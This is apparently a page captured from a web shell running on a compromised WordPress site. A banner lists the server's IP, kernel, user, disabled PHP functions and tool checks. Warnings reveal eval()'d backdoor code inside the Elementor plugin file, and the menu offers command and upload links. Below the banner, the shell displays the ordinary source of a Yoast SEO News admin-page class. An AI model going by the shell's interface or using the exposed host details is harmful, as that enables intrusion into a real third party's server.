|
Server IP : 172.19.0.4 / Your IP : 216.73.216.172 Web Server : nginx/1.28.3 System : Linux VM-0-4-debian 6.1.0-37-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.140-1 (2025-05-22) x86_64 User : www ( 1000) PHP Version : 7.4.33 Disable Function : passthru,exec,system,putenv,chroot,chgrp,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv MySQL : OFF | cURL : ON | WGET : Warning: file_exists(): open_basedir restriction in effect. File(/usr/bin/wget) is not within the allowed path(s): (/data1/wwwroot/sc-forklift.com/:/tmp/) in /data1/wwwroot/sc-forklift.com/wp-content/plugins/elementor/elementor.php(1) : eval()'d code on line 329 OFF | Perl : Warning: file_exists(): open_basedir restriction in effect. File(/usr/bin/perl) is not within the allowed path(s): (/data1/wwwroot/sc-forklift.com/:/tmp/) in /data1/wwwroot/sc-forklift.com/wp-content/plugins/elementor/elementor.php(1) : eval()'d code on line 335 OFF | Python : Warning: file_exists(): open_basedir restriction in effect. File(/usr/bin/python2) is not within the allowed path(s): (/data1/wwwroot/sc-forklift.com/:/tmp/) in /data1/wwwroot/sc-forklift.com/wp-content/plugins/elementor/elementor.php(1) : eval()'d code on line 341 OFF Directory (0755) : /data1/wwwroot/sc-forklift.com/wp-content/plugins/wpseo-news/classes/ |
| [ Home ] | [ C0mmand ] | [ Upload File ] |
|---|
<?php
/**
* Yoast SEO: News plugin file.
*
* @package WPSEO_News\Admin
*/
/**
* Represents the admin page.
*/
class WPSEO_News_Admin_Page {
/**
* Display admin page.
*
* @return void
*/
public function display() {
// Admin header.
Yoast_Form::get_instance()->admin_header( true, 'wpseo_news' );
// Introduction.
echo '<div id="wpseo-news-genre-removal-alert" style="max-width: 600px;"></div>';
echo '<p>', esc_html__( 'You will generally only need a News Sitemap when your website is included in Google News.', 'wordpress-seo-news' ), '</p>';
echo '<p>';
printf(
/* translators: %1$s opening tag of the link to the News Sitemap, %2$s closing tag for the link. */
esc_html__( '%1$sView your News Sitemap%2$s.', 'wordpress-seo-news' ),
'<a target="_blank" href="' . esc_url( WPSEO_News_Sitemap::get_sitemap_name() ) . '">',
'</a>'
);
echo '</p>';
echo '<h2>', esc_html__( 'General settings', 'wordpress-seo-news' ), '</h2>';
/* translators: Hidden accessibility text. */
echo '<fieldset><legend class="screen-reader-text">', esc_html__( 'News Sitemap settings', 'wordpress-seo-news' ), '</legend>';
// Google News Publication Name.
Yoast_Form::get_instance()->textinput( 'news_sitemap_name', __( 'Google News Publication Name', 'wordpress-seo-news' ) );
echo '</fieldset>';
// Post Types to include in News Sitemap.
$this->include_post_types();
// Post categories to exclude.
$this->excluded_post_type_taxonomies();
// Admin footer.
Yoast_Form::get_instance()->admin_footer( true, false );
}
/**
* Generates the HTML for the post types which should be included in the sitemap.
*
* @return void
*/
private function include_post_types() {
$post_type_helper = YoastSEO()->helpers->post_type;
// Post Types to include in News Sitemap.
echo '<h2>' . esc_html__( 'Post Types to include in News Sitemap', 'wordpress-seo-news' ) . '</h2>';
/* translators: Hidden accessibility text. */
echo '<fieldset><legend class="screen-reader-text">', esc_html__( 'Post Types to include:', 'wordpress-seo-news' ), '</legend>';
$post_types = get_post_types( [ 'public' => true ], 'objects' );
$post_types_list = [];
foreach ( $post_types as $post_type ) {
if ( ! $post_type_helper->is_excluded( $post_type->name ) && $post_type->name !== 'attachment' ) {
$post_types_list[ $post_type->name ] = $post_type->labels->name . ' (' . $post_type->name . ')';
}
}
Yoast_Form::get_instance()->checkbox_list( 'news_sitemap_include_post_types', $post_types_list );
echo '</fieldset><br>';
}
/**
* Generates the HTML for excluding post categories.
*
* @return void
*/
private function excluded_post_type_taxonomies() {
$post_types = get_post_types( [ 'public' => true ], 'objects' );
$post_types = array_filter( $post_types, [ $this, 'filter_included_post_type' ] );
array_walk( $post_types, [ $this, 'excluded_post_type_taxonomies_output' ] );
}
/**
* Filter function used to determine what post times should be included in the new sitemap.
*
* @param WP_Post_Type $post_type The post type.
*
* @return bool Whether or not the post type should be included in the sitemap.
*/
protected function filter_included_post_type( $post_type ) {
static $included_post_types;
if ( ! $included_post_types ) {
$included_post_types = (array) WPSEO_Options::get( 'news_sitemap_include_post_types', [] );
}
return array_key_exists( $post_type->name, $included_post_types );
}
/**
* Creates an array of objects containing taxonomies and the list of terms that are eligible for exclusion in the
* sitemap.
*
* @param WP_Post_Type $post_type Post type for which to exclude taxonomies.
*
* @return array Returns an array containing terms and taxonomies. Can be empty.
*/
private function get_excluded_post_type_taxonomies( $post_type ) {
$excludable_taxonomies = new WPSEO_News_Excludable_Taxonomies( $post_type->name );
return $excludable_taxonomies->get_terms();
}
/**
* Echoes the sub heading + checkboxes to exclude terms within each of the post type's taxonomies.
*
* @param WP_Post_Type $post_type The post type.
*
* @return void
*/
private function excluded_post_type_taxonomies_output( $post_type ) {
$terms_per_taxonomy = $this->get_excluded_post_type_taxonomies( $post_type );
if ( $terms_per_taxonomy === [] ) {
return;
}
/* translators: %1%s expands to the post type name. */
echo '<h2>' . esc_html( sprintf( __( 'Terms to exclude for %1$s', 'wordpress-seo-news' ), $post_type->labels->name ) ) . '</h2>';
foreach ( $terms_per_taxonomy as $data ) {
$taxonomy = $data['taxonomy'];
$terms = $data['terms'];
/* translators: %1%s expands to the taxonomy name name. */
echo '<h3>' . esc_html( sprintf( __( '%1$s to exclude', 'wordpress-seo-news' ), $taxonomy->labels->name ) ) . '</h3>';
$taxonomies_list = [];
foreach ( $terms as $term ) {
$taxonomies_list[ $term->term_id . '_for_' . $post_type->name ] = $term->name;
}
Yoast_Form::get_instance()->checkbox_list( 'news_sitemap_exclude_terms', $taxonomies_list );
}
}
/**
* Checks if the current page is a news seo plugin page.
*
* @param string $page The page to check.
*
* @return bool True when currently on a new page.
*/
protected function is_news_page( $page ) {
$news_pages = [ 'wpseo_news' ];
return in_array( $page, $news_pages, true );
}
}